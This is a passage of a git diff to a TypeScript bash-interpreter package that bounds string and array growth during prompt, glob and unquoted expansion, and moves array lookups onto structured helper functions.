+  append: (value: string) => void;
+  build: () => string;
+} {
+  const chunks: string[] = [];
+  let bytes = 0;
+  return {
+    append(value: string): void {
+      const valueBytes = utf8ByteLength(value);
+      if (valueBytes > maxBytes - bytes) {
+        throw new ExecutionLimitError(
+          `prompt expansion exceeds string length limit (${maxBytes} bytes)`,
+          "string_length",
+        );
+      }
+      if (value) chunks.push(value);
+      bytes += valueBytes;
+    },
+    build: () => chunks.join(""),
+  };
+}
+
 /**
  * Simple strftime implementation for prompt \D{format}
  * Only supports common format specifiers
  */
-function simpleStrftime(format: string, date: Date): string {
+function simpleStrftime(format: string, date: Date, maxBytes: number): string {
   const pad = (n: number, width = 2) => String(n).padStart(width, "0");
 
   // If format is empty, use locale default time format (like %X)
@@ -21,56 +45,56 @@ function simpleStrftime(format: string, date: Date): string {
     return `${h}:${m}:${s}`;
   }
 
-  let result = "";
+  const result = boundedAppender(maxBytes);
   let i = 0;
   while (i < format.length) {
     if (format[i] === "%") {
       if (i + 1 >= format.length) {
-        result += "%";
+        result.append("%");
         i++;
         continue;
       }
       const spec = format[i + 1];
       switch (spec) {
         case "H":
-          result += pad(date.getHours());
+          result.append(pad(date.getHours()));
           break;
         case "M":
-          result += pad(date.getMinutes());
+          result.append(pad(date.getMinutes()));
           break;
         case "S":
-          result += pad(date.getSeconds());
+          result.append(pad(date.getSeconds()));
           break;
         case "d":
-          result += pad(date.getDate());
+          result.append(pad(date.getDate()));
           break;
         case "m":
-          result += pad(date.getMonth() + 1);
+          result.append(pad(date.getMonth() + 1));
           break;
         case "Y":
-          result += date.getFullYear();
+          result.append(String(date.getFullYear()));
           break;
         case "y":
-          result += pad(date.getFullYear() % 100);
+          result.append(pad(date.getFullYear() % 100));
           break;
         case "I": {
           let h = date.getHours() % 12;
           if (h === 0) h = 12;
-          result += pad(h);
+          result.append(pad(h));
           break;
         }
         case "p":
-          result += date.getHours() < 12 ? "AM" : "PM";
+          result.append(date.getHours() < 12 ? "AM" : "PM");
           break;
         case "P":
-          result += date.getHours() < 12 ? "am" : "pm";
+          result.append(date.getHours() < 12 ? "am" : "pm");
           break;
         case "%":
-          result += "%";
+          result.append("%");
           break;
         case "a": {
           const days = ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"];
-          result += days[date.getDay()];
+          result.append(days[date.getDay()]);
           break;
         }
         case "b": {
@@ -88,20 +112,20 @@ function simpleStrftime(format: string, date: Date): string {
             "Nov",
             "Dec",
           ];
-          result += months[date.getMonth()];
+          result.append(months[date.getMonth()]);
           break;
         }
         default:
           // Unknown specifier - pass through
-          result += `%${spec}`;
+          result.append(`%${spec}`);
       }
       i += 2;
     } else {
-      result += format[i];
+      result.append(format[i]);
       i++;
     }
   }
-  return result;
+  return result.build();
 }
 
 /**
@@ -137,7 +161,7 @@ function simpleStrftime(format: string, date: Date): string {
  * - \NNN - octal character code
  */
 export function expandPrompt(ctx: InterpreterContext, value: string): string {
-  let result = "";
+  const result = boundedAppender(ctx.limits.maxStringLength);
   let i = 0;
 
   // Get environment values for prompt escapes
@@ -181,7 +205,7 @@ export function expandPrompt(ctx: InterpreterContext, value: string): string {
     if (char === "\\") {
       if (i + 1 >= value.length) {
         // Trailing backslash
-        result += "\\";
+        result.append("\\");
         i++;
         continue;
       }
@@ -203,35 +227,35 @@ export function expandPrompt(ctx: InterpreterContext, value: string): string {
         }
         // Parse octal, wrap around at 256 (e.g., \555 = 365 octal = 245 decimal, wraps to 109 = 'm')
         const code = Number.parseInt(octalStr, 8) % 256;
-        result += String.fromCharCode(code);
+        result.append(String.fromCharCode(code));
         i = j;
         continue;
       }
 
       switch (next) {
         case "\\":
-          result += "\\";
+          result.append("\\");
           i += 2;
           break;
         case "a":
-          result += "\x07"; // Bell
+          result.append("\x07"); // Bell
           i += 2;
           break;
         case "e":
-          result += "\x1b"; // Escape
+          result.append("\x1b"); // Escape
           i += 2;
           break;
         case "n":
-          result += "\n";
+          result.append("\n");
           i += 2;
           break;
         case "r":
-          result += "\r";
+          result.append("\r");
           i += 2;
           break;
         case "$":
           // $ for regular user, # for root - we always use $ since we're not running as root
-          result += "$";
+          result.append("$");
           i += 2;
           break;
         case "[":
@@ -240,29 +264,31 @@ export function expandPrompt(ctx: InterpreterContext, value: string): string {
           i += 2;
           break;
         case "u":
-          result += user;
+          result.append(user);
           i += 2;
           break;
         case "h":
-          result += shortHost;
+          result.append(shortHost);
           i += 2;
           break;
         case "H":
-          result += hostname;
+          result.append(hostname);
           i += 2;
           break;
         case "w":
-          result += tildeExpanded;
+          result.append(tildeExpanded);
           i += 2;
           break;
         case "W":
-          result += pwdBasename;
+          result.append(pwdBasename);
           i += 2;
           break;
         case "d": {
           // Date: Weekday Month Day
           const dayStr = String(now.getDate()).padStart(2, " ");
-          result += `${weekdays[now.getDay()]} ${months[now.getMonth()]} ${dayStr}`;
+          result.append(
+            `${weekdays[now.getDay()]} ${months[now.getMonth()]} ${dayStr}`,
+          );
           i += 2;
           break;
         }
@@ -271,7 +297,7 @@ export function expandPrompt(ctx: InterpreterContext, value: string): string {
           const h = String(now.getHours()).padStart(2, "0");
           const m = String(now.getMinutes()).padStart(2, "0");
           const s = String(now.getSeconds()).padStart(2, "0");
-          result += `${h}:${m}:${s}`;
+          result.append(`${h}:${m}:${s}`);
           i += 2;
           break;
         }
@@ -282,7 +308,7 @@ export function expandPrompt(ctx: InterpreterContext, value: string): string {
           const hStr = String(h).padStart(2, "0");
           const m = String(now.getMinutes()).padStart(2, "0");
           const s = String(now.getSeconds()).padStart(2, "0");
-          result += `${hStr}:${m}:${s}`;
+          result.append(`${hStr}:${m}:${s}`);
           i += 2;
           break;
         }
@@ -293,7 +319,7 @@ export function expandPrompt(ctx: InterpreterContext, value: string): string {
           const hStr = String(h).padStart(2, "0");
           const m = String(now.getMinutes()).padStart(2, "0");
           const ampm = now.getHours() < 12 ? "AM" : "PM";
-          result += `${hStr}:${m} ${ampm}`;
+          result.append(`${hStr}:${m} ${ampm}`);
           i += 2;
           break;
         }
@@ -301,7 +327,7 @@ export function expandPrompt(ctx: InterpreterContext, value: string): string {
           // Time: HH:MM (24-hour)
           const h = String(now.getHours()).padStart(2, "0");
           const m = String(now.getMinutes()).padStart(2, "0");
-          result += `${h}:${m}`;
+          result.append(`${h}:${m}`);
           i += 2;
           break;
         }
@@ -312,69 +338,71 @@ export function expandPrompt(ctx: InterpreterContext, value: string): string {
             if (closeIdx !== -1) {
               const format = value.slice(i + 3, closeIdx);
               // Simple strftime implementation for common formats
-              result += simpleStrftime(format, now);
+              result.append(
+                simpleStrftime(format, now, ctx.limits.maxStringLength),
+              );
               i = closeIdx + 1;
             } else {
               // No closing brace - treat literally
-              result += "\\D";
+              result.append("\\D");
               i += 2;
             }
           } else {
-            result += "\\D";
+            result.append("\\D");
             i += 2;
           }
           break;
         case "s":
           // Shell name
-          result += "bash";
+          result.append("bash");
           i += 2;
           break;
         case "v":
           // Version: major.minor
-          result += "5.0"; // Pretend to be bash 5.0
+          result.append("5.0"); // Pretend to be bash 5.0
           i += 2;
           break;
         case "V":
           // Version: major.minor.patch
-          result += "5.0.0"; // Pretend to be bash 5.0.0
+          result.append("5.0.0"); // Pretend to be bash 5.0.0
           i += 2;
           break;
         case "j":
           // Number of jobs - we don't track jobs, so return 0
-          result += "0";
+          result.append("0");
           i += 2;
           break;
         case "l":
           // Terminal device basename - we're not in a real terminal
-          result += "tty";
+          result.append("tty");
           i += 2;
           break;
         case "#":
           // Command number
-          result += cmdNum;
+          result.append(cmdNum);
           i += 2;
           break;
         case "!":
           // History number - same as command number
-          result += cmdNum;
+          result.append(cmdNum);
           i += 2;
           break;
         case "x":
           // \xNN hex literals are NOT supported in bash prompt expansion
           // Just pass through as literal
-          result += "\\x";
+          result.append("\\x");
           i += 2;
           break;
         default:
           // Unknown escape - pass through as literal
-          result += `\\${next}`;
+          result.append(`\\${next}`);
           i += 2;
       }
     } else {
-      result += char;
+      result.append(char);
       i++;
     }
   }
 
-  return result;
+  return result.build();
 }
diff --git a/packages/just-bash/src/interpreter/expansion/tilde.ts b/packages/just-bash/src/interpreter/expansion/tilde.ts
index b35a3a1a..b07e460d 100644
--- a/packages/just-bash/src/interpreter/expansion/tilde.ts
+++ b/packages/just-bash/src/interpreter/expansion/tilde.ts
@@ -53,3 +53,14 @@ export function applyTildeExpansion(
   // Unknown user - keep literal
   return value;
 }
+
+/** Apply assignment-context tilde expansion at the start and after each `:`. */
+export function applyAssignmentTildeExpansion(
+  ctx: InterpreterContext,
+  value: string,
+): string {
+  return value
+    .split(":")
+    .map((segment) => applyTildeExpansion(ctx, segment))
+    .join(":");
+}
diff --git a/packages/just-bash/src/interpreter/expansion/unquoted-expansion.ts b/packages/just-bash/src/interpreter/expansion/unquoted-expansion.ts
index 8be7e44a..375950d1 100644
--- a/packages/just-bash/src/interpreter/expansion/unquoted-expansion.ts
+++ b/packages/just-bash/src/interpreter/expansion/unquoted-expansion.ts
@@ -19,9 +19,11 @@ import type {
   WordNode,
   WordPart,
 } from "../../ast/types.js";
+import { utf8ByteLength } from "../../encoding.js";
 import { createUserRegex } from "../../regex/index.js";
 import { GlobExpander } from "../../shell/glob.js";
-import { GlobError } from "../errors.js";
+import { ExecutionLimitError, GlobError } from "../errors.js";
+import { appendBoundedElements } from "../helpers/bounded-array.js";
 import {
   getIfs,
   getIfsSeparator,
@@ -37,6 +39,7 @@ import {
   applyPatternRemoval,
   getVarNamesWithPrefix,
 } from "./pattern-removal.js";
+import { applyPatternReplacementBounded } from "./pattern-replacement.js";
 import { getArrayElements } from "./variable.js";
 
 /**
@@ -48,6 +51,50 @@ export type UnquotedExpansionResult = {
   quoted: boolean;
 } | null;
 
+function pushExpansionValue(
+  ctx: InterpreterContext,
+  values: string[],
+  value: string,
+  bytes: { value: number },
+): void {
+  if (values.length >= ctx.limits.maxArrayElements) {
+    throw new ExecutionLimitError(
+      `unquoted expansion element limit exceeded (${ctx.limits.maxArrayElements})`,
+      "array_elements",
+    );
+  }
+  const valueBytes = utf8ByteLength(value);
+  if (valueBytes > ctx.limits.maxStringLength - bytes.value) {
+    throw new ExecutionLimitError(
+      `unquoted expansion string limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+      "string_length",
+    );
+  }
+  values.push(value);
+  bytes.value += valueBytes;
+}
+
+function joinExpansionValues(
+  ctx: InterpreterContext,
+  values: string[],
+  separator: string,
+  valueBytes: number,
+): string {
+  const separatorBytes = utf8ByteLength(separator);
+  const separators = Math.max(0, values.length - 1);
+  if (
+    separatorBytes > 0 &&
+    separators >
+      Math.floor((ctx.limits.maxStringLength - valueBytes) / separatorBytes)
+  ) {
+    throw new ExecutionLimitError(
+      `unquoted expansion string limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+      "string_length",
+    );
+  }
+  return values.join(separator);
+}
+
 /**
  * Type for expandPart function reference
  */
@@ -85,6 +132,13 @@ function createGlobExpander(ctx: InterpreterContext): GlobExpander {
     extglob: ctx.state.shoptOptions.extglob,
     globskipdots: ctx.state.shoptOptions.globskipdots,
     maxGlobOperations: ctx.limits.maxGlobOperations,
+    consumeOperation: () =>
+      ctx.executionScope.consumeLimited(
+        "glob_operations",
+        1,
+        ctx.limits.maxGlobOperations,
+        "glob expansion",
+      ),
   });
 }
 
@@ -106,7 +160,12 @@ async function applyGlobExpansion(
     if (hasGlobPattern(w, ctx.state.shoptOptions.extglob)) {
       const matches = await globExpander.expand(w);
       if (matches.length > 0) {
-        expandedValues.push(...matches);
+        appendBoundedElements(
+          expandedValues,
+          matches,
+          ctx.limits.maxArrayElements,
+          "unquoted glob expansion",
+        );
       } else if (globExpander.hasFailglob()) {
         throw new GlobError(w);
       } else if (globExpander.hasNullglob()) {
@@ -230,14 +289,29 @@ export async function handleUnquotedArrayPatternReplacement(
 
   // Apply replacement to each element
   const replacedValues: string[] = [];
+  const replacedBytes = { value: 0 };
   try {
     const re = createUserRegex(regexPattern, operation.all ? "g" : "");
     for (const value of values) {
-      replacedValues.push(re.replace(value, replacement));
+      pushExpansionValue(
+        ctx,
+        replacedValues,
+        applyPatternReplacementBounded(
+          ctx,
+          value,
+          re,
+          replacement,
+          operation.all,
+        ),
+        replacedBytes,
+      );
     }
-  } catch {
+  } catch (error) {
+    if (error instanceof ExecutionLimitError) throw error;
     // Invalid regex - return values unchanged
-    replacedValues.push(...values);
+    for (const value of values) {
+      pushExpansionValue(ctx, replacedValues, value, replacedBytes);
+    }
   }
 
   // For unquoted, we need to IFS-split the result
@@ -247,12 +321,21 @@ export async function handleUnquotedArrayPatternReplacement(
   if (unquotedArrayIsStar) {
     // ${arr[*]/...} unquoted - join with IFS, then split
     const ifsSep = getIfsSeparator(ctx.state.env);
-    const joined = replacedValues.join(ifsSep);
+    const joined = joinExpansionValues(
+      ctx,
+      replacedValues,
+      ifsSep,
+      replacedBytes.value,
+    );
     if (ifsEmpty) {
       return { values: joined ? [joined] : [], quoted: false };
     }
     return {
-      values: splitByIfsForExpansion(joined, ifsChars),
+      values: splitByIfsForExpansion(
+        joined,
+        ifsChars,
+        ctx.limits.maxArrayElements,
+      ),
       quoted: false,
     };
   }
@@ -263,11 +346,18 @@ export async function handleUnquotedArrayPatternReplacement(
   }
 
   const allWords: string[] = [];
+  const allWordBytes = { value: 0 };
   for (const val of replacedValues) {
     if (val === "") {
-      allWords.push("");
+      pushExpansionValue(ctx, allWords, "", allWordBytes);
     } else {
-      allWords.push(...splitByIfsForExpansion(val, ifsChars));
+      for (const word of splitByIfsForExpansion(
+        val,
+        ifsChars,
+        ctx.limits.maxArrayElements,
+      )) {
+        pushExpansionValue(ctx, allWords, word, allWordBytes);
+      }
     }
   }
   return { values: allWords, quoted: false };
@@ -360,9 +450,19 @@ export async function handleUnquotedArrayPatternRemoval(
 
   // Apply pattern removal to each element
   const strippedValues: string[] = [];
+  const strippedBytes = { value: 0 };
   for (const value of values) {
-    strippedValues.push(
-      applyPatternRemoval(value, regexStr, operation.side, operation.greedy),
+    pushExpansionValue(
+      ctx,
+      strippedValues,
+      applyPatternRemoval(
+        ctx,
+        value,
+        regexStr,
+        operation.side,
+        operation.greedy,
+      ),
+      strippedBytes,
     );
   }
 
@@ -373,12 +473,21 @@ export async function handleUnquotedArrayPatternRemoval(
   if (unquotedArrayIsStar) {
     // ${arr[*]#...} unquoted - join with IFS, then split
     const ifsSep = getIfsSeparator(ctx.state.env);
-    const joined = strippedValues.join(ifsSep);
+    const joined = joinExpansionValues(
+      ctx,
+      strippedValues,
+      ifsSep,
+      strippedBytes.value,
+    );
     if (ifsEmpty) {
       return { values: joined ? [joined] : [], quoted: false };
     }
     return {
-      values: splitByIfsForExpansion(joined, ifsChars),
+      values: splitByIfsForExpansion(
+        joined,
+        ifsChars,
+        ctx.limits.maxArrayElements,
+      ),
       quoted: false,
     };
   }
@@ -389,11 +498,18 @@ export async function handleUnquotedArrayPatternRemoval(
   }
 
   const allWords: string[] = [];
+  const allWordBytes = { value: 0 };
   for (const val of strippedValues) {
     if (val === "") {
-      allWords.push("");
+      pushExpansionValue(ctx, allWords, "", allWordBytes);
     } else {
-      allWords.push(...splitByIfsForExpansion(val, ifsChars));
+      for (const word of splitByIfsForExpansion(
+        val,
+        ifsChars,
+        ctx.limits.maxArrayElements,
+      )) {
+        pushExpansionValue(ctx, allWords, word, allWordBytes);
+      }
     }
   }
   return { values: allWords, quoted: false };
@@ -475,9 +591,19 @@ export async function handleUnquotedPositionalPatternRemoval(
 
   // Apply pattern removal to each positional parameter
   const strippedParams: string[] = [];
+  const strippedBytes = { value: 0 };
   for (const param of params) {
-    strippedParams.push(
-      applyPatternRemoval(param, regexStr, operation.side, operation.greedy),
+    pushExpansionValue(
+      ctx,
+      strippedParams,
+      applyPatternRemoval(
+        ctx,
+        param,
+        regexStr,
+        operation.side,
+        operation.greedy,
+      ),
+      strippedBytes,
     );
   }
 
@@ -488,12 +614,21 @@ export async function handleUnquotedPositionalPatternRemoval(
   if (unquotedPosPatRemIsStar) {
     // ${*#...} unquoted - join with IFS, then split
     const ifsSep = getIfsSeparator(ctx.state.env);
-    const joined = strippedParams.join(ifsSep);
+    const joined = joinExpansionValues(
+      ctx,
+      strippedParams,
+      ifsSep,
+      strippedBytes.value,
+    );
     if (ifsEmpty) {
       return { values: joined ? [joined] : [], quoted: false };
     }
     return {
-      values: splitByIfsForExpansion(joined, ifsChars),
+      values: splitByIfsForExpansion(
+        joined,
+        ifsChars,
+        ctx.limits.maxArrayElements,
+      ),
       quoted: false,
     };
   }
@@ -504,11 +639,18 @@ export async function handleUnquotedPositionalPatternRemoval(
   }
 
   const allWords: string[] = [];
+  const allWordBytes = { value: 0 };
   for (const val of strippedParams) {
     if (val === "") {
-      allWords.push("");
+      pushExpansionValue(ctx, allWords, "", allWordBytes);
     } else {
-      allWords.push(...splitByIfsForExpansion(val, ifsChars));
+      for (const word of splitByIfsForExpansion(
+        val,
+        ifsChars,
+        ctx.limits.maxArrayElements,
+      )) {
+        pushExpansionValue(ctx, allWords, word, allWordBytes);
+      }
     }
   }
   return { values: allWords, quoted: false };
@@ -621,7 +763,11 @@ export async function handleUnquotedPositionalSlicing(
       return { values: [combined], quoted: false };
     }
     return {
-      values: splitByIfsForExpansion(combined, ifsChars),
+      values: splitByIfsForExpansion(
+        combined,
+        ifsChars,
+        ctx.limits.maxArrayElements,
+      ),
       quoted: false,
     };
   }
@@ -636,7 +782,11 @@ export async function handleUnquotedPositionalSlicing(
     if (ifsEmpty) {
       allWords = joined ? [joined] : [];
     } else {
-      allWords = splitByIfsForExpansion(joined, ifsChars);
+      allWords = splitByIfsForExpansion(
+        joined,
+        ifsChars,
+        ctx.limits.maxArrayElements,
+      );
     }
   } else {
     // ${@:offset} unquoted - each sliced param is separate, then IFS-split each
@@ -663,8 +813,17 @@ export async function handleUnquotedPositionalSlicing(
         if (param === "") {
           allWords.push("");
         } else {
-          const parts = splitByIfsForExpansion(param, ifsChars);
-          allWords.push(...parts);
+          const parts = splitByIfsForExpansion(
+            param,
+            ifsChars,
+            ctx.limits.maxArrayElements,
+          );
+          appendBoundedElements(
+            allWords,
+            parts,
+            ctx.limits.maxArrayElements,
+            "unquoted expansion",
+          );
         }
       }
     }
@@ -717,7 +876,11 @@ export async function handleUnquotedSimplePositional(
     } else {
       const ifsSep = getIfsSeparator(ctx.state.env);
       const joined = params.join(ifsSep);
-      allWords = splitByIfsForExpansion(joined, ifsChars);
+      allWords = splitByIfsForExpansion(
+        joined,
+        ifsChars,
+        ctx.limits.maxArrayElements,
+      );
     }
   } else {
     // $@ - each param is a separate word, then each is subject to IFS splitting
@@ -731,8 +894,17 @@ export async function handleUnquotedSimplePositional(
         if (param === "") {
           continue;
         }
-        const parts = splitByIfsForExpansion(param, ifsChars);
-        allWords.push(...parts);
+        const parts = splitByIfsForExpansion(
+          param,
+          ifsChars,
+          ctx.limits.maxArrayElements,
+        );
+        appendBoundedElements(
+          allWords,
+          parts,
+          ctx.limits.maxArrayElements,
+          "unquoted expansion",
+        );
       }
     } else {
       // Non-whitespace IFS - preserve empty params EXCEPT trailing ones
@@ -741,8 +913,17 @@ export async function handleUnquotedSimplePositional(
         if (param === "") {
           allWords.push("");
         } else {
-          const parts = splitByIfsForExpansion(param, ifsChars);
-          allWords.push(...parts);
+          const parts = splitByIfsForExpansion(
+            param,
+            ifsChars,
+            ctx.limits.maxArrayElements,
+          );
+          appendBoundedElements(
+            allWords,
+            parts,
+            ctx.limits.maxArrayElements,
+            "unquoted expansion",
+          );
         }
       }
       // Remove trailing empty strings
@@ -811,7 +992,11 @@ export async function handleUnquotedSimpleArray(
     } else {
       const ifsSep = getIfsSeparator(ctx.state.env);
       const joined = values.join(ifsSep);
-      allWords = splitByIfsForExpansion(joined, ifsChars);
+      allWords = splitByIfsForExpansion(
+        joined,
+        ifsChars,
+        ctx.limits.maxArrayElements,
+      );
     }
   } else {
     // ${arr[@]} unquoted - each element is a separate word, then each is subject to IFS splitting
@@ -825,8 +1010,17 @@ export async function handleUnquotedSimpleArray(
         if (val === "") {
           continue;
         }
-        const parts = splitByIfsForExpansion(val, ifsChars);
-        allWords.push(...parts);
+        const parts = splitByIfsForExpansion(
+          val,
+          ifsChars,
+          ctx.limits.maxArrayElements,
+        );
+        appendBoundedElements(
+          allWords,
+          parts,
+          ctx.limits.maxArrayElements,
+          "unquoted expansion",
+        );
       }
     } else {
       // Non-whitespace IFS - preserve empty elements
@@ -835,8 +1029,17 @@ export async function handleUnquotedSimpleArray(
         if (val === "") {
           allWords.push("");
         } else {
-          const parts = splitByIfsForExpansion(val, ifsChars);
-          allWords.push(...parts);
+          const parts = splitByIfsForExpansion(
+            val,
+            ifsChars,
+            ctx.limits.maxArrayElements,
+          );
+          appendBoundedElements(
+            allWords,
+            parts,
+            ctx.limits.maxArrayElements,
+            "unquoted expansion",
+          );
         }
       }
       // Remove trailing empty strings
@@ -889,7 +1092,11 @@ export function handleUnquotedVarNamePrefix(
     } else {
       const ifsSep = getIfsSeparator(ctx.state.env);
       const joined = matchingVars.join(ifsSep);
-      allWords = splitByIfsForExpansion(joined, ifsChars);
+      allWords = splitByIfsForExpansion(
+        joined,
+        ifsChars,
+        ctx.limits.maxArrayElements,
+      );
     }
   } else {
     // ${!prefix@} unquoted - each name is a separate word, then each is subject to IFS splitting
@@ -899,8 +1106,17 @@ export function handleUnquotedVarNamePrefix(
     } else {
       allWords = [];
       for (const name of matchingVars) {
-        const parts = splitByIfsForExpansion(name, ifsChars);
-        allWords.push(...parts);
+        const parts = splitByIfsForExpansion(
+          name,
+          ifsChars,
+          ctx.limits.maxArrayElements,
+        );
+        appendBoundedElements(
+          allWords,
+          parts,
+          ctx.limits.maxArrayElements,
+          "unquoted expansion",
+        );
       }
     }
   }
@@ -948,7 +1164,11 @@ export function handleUnquotedArrayKeys(
     } else {
       const ifsSep = getIfsSeparator(ctx.state.env);
       const joined = keys.join(ifsSep);
-      allWords = splitByIfsForExpansion(joined, ifsChars);
+      allWords = splitByIfsForExpansion(
+        joined,
+        ifsChars,
+        ctx.limits.maxArrayElements,
+      );
     }
   } else {
     // ${!arr[@]} unquoted - each key is a separate word, then each is subject to IFS splitting
@@ -958,8 +1178,17 @@ export function handleUnquotedArrayKeys(
     } else {
       allWords = [];
       for (const key of keys) {
-        const parts = splitByIfsForExpansion(key, ifsChars);
-        allWords.push(...parts);
+        const parts = splitByIfsForExpansion(
+          key,
+          ifsChars,
+          ctx.limits.maxArrayElements,
+        );
+        appendBoundedElements(
+          allWords,
+          parts,
+          ctx.limits.maxArrayElements,
+          "unquoted expansion",
+        );
       }
     }
   }
@@ -1045,8 +1274,17 @@ export async function handleUnquotedPositionalWithPrefixSuffix(
       words = [];
       for (const word of rawWords) {
         if (word === "") continue;
-        const parts = splitByIfsForExpansion(word, ifsChars);
-        words.push(...parts);
+        const parts = splitByIfsForExpansion(
+          word,
+          ifsChars,
+          ctx.limits.maxArrayElements,
+        );
+        appendBoundedElements(
+          words,
+          parts,
+          ctx.limits.maxArrayElements,
+          "unquoted expansion",
+        );
       }
     } else {
       // Non-whitespace IFS - preserve empty words (except trailing)
@@ -1055,8 +1293,17 @@ export async function handleUnquotedPositionalWithPrefixSuffix(
         if (word === "") {
           words.push("");
         } else {
-          const parts = splitByIfsForExpansion(word, ifsChars);
-          words.push(...parts);
+          const parts = splitByIfsForExpansion(
+            word,
+            ifsChars,
+            ctx.limits.maxArrayElements,
+          );
+          appendBoundedElements(
+            words,
+            parts,
+            ctx.limits.maxArrayElements,
+            "unquoted expansion",
+          );
         }
       }
       // Remove trailing empty strings
diff --git a/packages/just-bash/src/interpreter/expansion/variable-attrs.ts b/packages/just-bash/src/interpreter/expansion/variable-attrs.ts
index ce4d8aa9..98ccd73a 100644
--- a/packages/just-bash/src/interpreter/expansion/variable-attrs.ts
+++ b/packages/just-bash/src/interpreter/expansion/variable-attrs.ts
@@ -4,6 +4,7 @@
  * Functions for getting variable attributes (${var@a} transformation).
  */
 
+import { getArray } from "../helpers/array.js";
 import { isNameref } from "../helpers/nameref.js";
 import { isReadonly } from "../helpers/readonly.js";
 import type { InterpreterContext } from "../types.js";
@@ -31,13 +32,8 @@ export function getVariableAttributes(
 
   let attrs = "";
 
-  // Check for indexed array (has numeric elements via name_0, name_1, etc. or __length marker)
-  const isIndexedArray =
-    ctx.state.env.has(`${name}__length`) ||
-    Array.from(ctx.state.env.keys()).some(
-      (k) =>
-        k.startsWith(`${name}_`) && /^[0-9]+$/.test(k.slice(name.length + 1)),
-    );
+  // Check the structured array kind.
+  const isIndexedArray = getArray(ctx, name)?.kind === "indexed";
 
   // Check for associative array
   const isAssocArray = ctx.state.associativeArrays?.has(name) ?? false;
diff --git a/packages/just-bash/src/interpreter/expansion/variable.ts b/packages/just-bash/src/interpreter/expansion/variable.ts
index d09cd143..f90a85e1 100644
--- a/packages/just-bash/src/interpreter/expansion/variable.ts
+++ b/packages/just-bash/src/interpreter/expansion/variable.ts
@@ -15,8 +15,11 @@ import { BASH_VERSION } from "../../shell-metadata.js";
 import { evaluateArithmetic } from "../arithmetic.js";
 import { BadSubstitutionError, NounsetError } from "../errors.js";
 import {
+  getArrayElement,
   getArrayIndices,
   getAssocArrayKeys,
+  hasArray,
+  hasArrayElement,
   unquoteKey,
 } from "../helpers/array.js";
 import { getIfsSeparator } from "../helpers/ifs.js";
@@ -28,7 +31,7 @@ import type { InterpreterContext } from "../types.js";
  * This handles patterns like $var and ${var} but not complex expansions.
  * Used to support namerefs pointing to array elements like A[$key].
  */
-function expandSimpleVarsInSubscript(
+function normalizeAssociativeSubscript(
   ctx: InterpreterContext,
   subscript: string,
 ): string {
@@ -74,17 +77,14 @@ export function getArrayElements(
   if (isAssoc) {
     // For associative arrays, get string keys
     const keys = getAssocArrayKeys(ctx, arrayName);
-    return keys.map((key) => [
-      key,
-      ctx.state.env.get(`${arrayName}_${key}`) ?? "",
-    ]);
+    return keys.map((key) => [key, getArrayElement(ctx, arrayName, key) ?? ""]);
   }
 
   // For indexed arrays, get numeric indices
   const indices = getArrayIndices(ctx, arrayName);
   return indices.map((index) => [
     index,
-    ctx.state.env.get(`${arrayName}_${index}`) ?? "",
+    getArrayElement(ctx, arrayName, index) ?? "",
   ]);
 }
 
@@ -104,10 +104,10 @@ export function isArray(ctx: InterpreterContext, name: string): boolean {
   }
   // Check if it's an associative array
   if (ctx.state.associativeArrays?.has(name)) {
-    return getAssocArrayKeys(ctx, name).length > 0;
+    return hasArray(ctx, name);
   }
   // Check for indexed array elements
-  return getArrayIndices(ctx, name).length > 0;
+  return hasArray(ctx, name);
 }
 
 /**
@@ -314,8 +314,8 @@ export async function getVariable(
       // First unquote, then expand simple variable references for nameref support
       let key = unquoteKey(subscript);
       // Expand simple variable references like $var or ${var}
-      key = expandSimpleVarsInSubscript(ctx, key);
-      const value = ctx.state.env.get(`${arrayName}_${key}`);
+      key = normalizeAssociativeSubscript(ctx, key);
+      const value = getArrayElement(ctx, arrayName, key);
       if (value === undefined && checkNounset && ctx.state.options.nounset) {
         throw new NounsetError(`${arrayName}[${subscript}]`);
       }
@@ -368,11 +368,11 @@ export async function getVariable(
         return "";
       }
       // Look up by actual index, not position
-      const value = ctx.state.env.get(`${arrayName}_${actualIdx}`);
+      const value = getArrayElement(ctx, arrayName, actualIdx);
       return value || "";
     }
 
-    const value = ctx.state.env.get(`${arrayName}_${index}`);
+    const value = getArrayElement(ctx, arrayName, index);
     if (value !== undefined) {
       return value;
     }
@@ -448,11 +448,14 @@ export async function getVariable(
   // In bash, $a where a is an array returns ${a[0]} (first element)
   if (isArray(ctx, name)) {
     // Return the first element (index 0)
-    const firstValue = ctx.state.env.get(`${name}_0`);
+    const firstValue = getArrayElement(ctx, name, 0);
     if (firstValue !== undefined) {
       return firstValue;
     }
     // Array exists but no element at index 0 - return empty string
+    if (checkNounset && ctx.state.options.nounset) {
+      throw new NounsetError(name);
+    }
     return "";
   }
 
@@ -541,8 +544,8 @@ export async function isVariableSet(
 
     if (isAssoc) {
       // For associative arrays, use subscript as string key (remove quotes if present)
-      const key = unquoteKey(subscript);
-      return ctx.state.env.has(`${arrayName}_${key}`);
+      const key = normalizeAssociativeSubscript(ctx, unquoteKey(subscript));
+      return hasArrayElement(ctx, arrayName, key);
     }
 
     // Evaluate subscript as arithmetic expression for indexed arrays
@@ -570,10 +573,10 @@ export async function isVariableSet(
       );
       const actualIdx = maxIndex + 1 + index;
       if (actualIdx < 0) return false;
-      return ctx.state.env.has(`${arrayName}_${actualIdx}`);
+      return hasArrayElement(ctx, arrayName, actualIdx);
     }
 
-    return ctx.state.env.has(`${arrayName}_${index}`);
+    return hasArrayElement(ctx, arrayName, index);
   }
 
   // Check if this is a nameref - resolve and check target
@@ -593,10 +596,10 @@ export async function isVariableSet(
   }
 
   // Check if plain variable name refers to an array (no scalar exists)
-  // In bash, plain array name is "set" if array has elements
+  // An unsubscripted array decays to element zero; an empty array (or a sparse
+  // array without index zero) is therefore unset for default-value operators.
   if (isArray(ctx, name)) {
-    // Array with elements is considered "set"
-    return true;
+    return hasArrayElement(ctx, name, 0);
   }
 
   return false;
diff --git a/packages/just-bash/src/interpreter/expansion/word-glob-expansion.ts b/packages/just-bash/src/interpreter/expansion/word-glob-expansion.ts
index 6b367740..311f2f35 100644
--- a/packages/just-bash/src/interpreter/expansion/word-glob-expansion.ts
+++ b/packages/just-bash/src/interpreter/expansion/word-glob-expansion.ts
@@ -16,6 +16,7 @@ import type {
 } from "../../ast/types.js";
 import { GlobExpander } from "../../shell/glob.js";
 import { GlobError } from "../errors.js";
+import { appendBoundedElements } from "../helpers/bounded-array.js";
 import {
   getIfs,
   getIfsSeparator,
